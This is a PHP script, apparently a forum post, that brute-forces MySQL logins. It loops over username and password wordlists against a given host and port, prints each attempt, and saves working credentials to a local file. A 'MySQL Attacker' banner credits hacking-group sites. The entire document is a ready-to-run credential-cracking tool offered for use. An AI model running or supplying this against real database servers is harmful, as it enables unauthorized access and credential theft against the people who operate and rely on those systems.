Код:
<?php
$userlist = @$argv[1];
$passlist = @$argv[2];
$host = @$argv[3];
$port = @$argv[4];
echo "
------------------------------------------------------------------------
_______ _______ _______ _
( )|\ /|( ____ \( ___ )( \
| () () |( \ / )| ( \/| ( ) || (
| || || | \ (_) / | (_____ | | | || |
| |(_)| | \ / (_____ )| | | || |
| | | | ) ( ) || | /\| || |
| ) ( | | | /\____) || (_\ \ || (____/\
|/ \| \_/ \_______)(____\/_)(_______/
_______ __________________ _______ _______ _ _______ _______
( ___ )\__ __/\__ __/( ___ )( ____ \| \ /\( ____ \( ____ )
| ( ) | ) ( ) ( | ( ) || ( \/| \ / /| ( \/| ( )|
| (___) | | | | | | (___) || | | (_/ / | (__ | (____)|
| ___ | | | | | | ___ || | | _ ( | __) | __)
| ( ) | | | | | | ( ) || | | ( \ \ | ( | (\ (
| ) ( | | | | | | ) ( || (____/\| / \ \| (____/\| ) \ \__
|/ \| )_( )_( |/ \|(_______/|_/ \/(_______/|/ \__/
Coded by blink/zeN @ DarkCode.me - DUSecurity.com - EngimaGroup.org
Usage : php mysql-brute.php <userlist> <passlist> <host> <port>
------------------------------------------------------------------------\n\n[+] Starting Cracker...\n";
if(!$userlist || !$passlist || !$host || !$port) { die("[-] Incorrect Arguments, Exiting...\n"); }
$user = file($userlist);
$pass = file($passlist);
echo "[+] Loaded ".count($user)." usernames...\n";
echo "[+] Loaded ".count($pass)." passwords...\n";
echo "[+] Testing Connection to $host:$port...\n";
echo "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n";
mysql_connect($host.':'.$port,"test","test");
echo "\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-";
echo "\n[?] Continue (y/n)? ";
$ans = fread(STDIN, 1);
if($ans != "y")
{
die("[-] Exiting...\n");
}
foreach($user as $uname)
{
$uname = substr_replace($uname ,"",-2);
echo "[+] Trying Username : $uname\n";
foreach($pass as $pword)
{
$pword = substr_replace($pword ,"",-2);
$link = @mysql_connect($host.':'.$port,$uname,$pword);
if($link)
{
print "\n\n[+] Found Login - ".$uname;
print "\n|---------------> ".$pword;
SaveLogin($uname,$pword,$host,$port);
sleep(2);
break;
}
print "\n[-] Incorrect - ".$uname;
print "\n|-------------> ".$pword;
@mysql_close($link);
}
sleep(3);
}
die("[-] Finished Attack, Exiting...\n");
function SaveLogin($user, $pass, $host, $port){
$log = "MySQL - $user:$pass@$host:$port\r\n";
$save = fopen("logins.txt","a");
fwrite($save, $log);
fclose($save);
}
?>




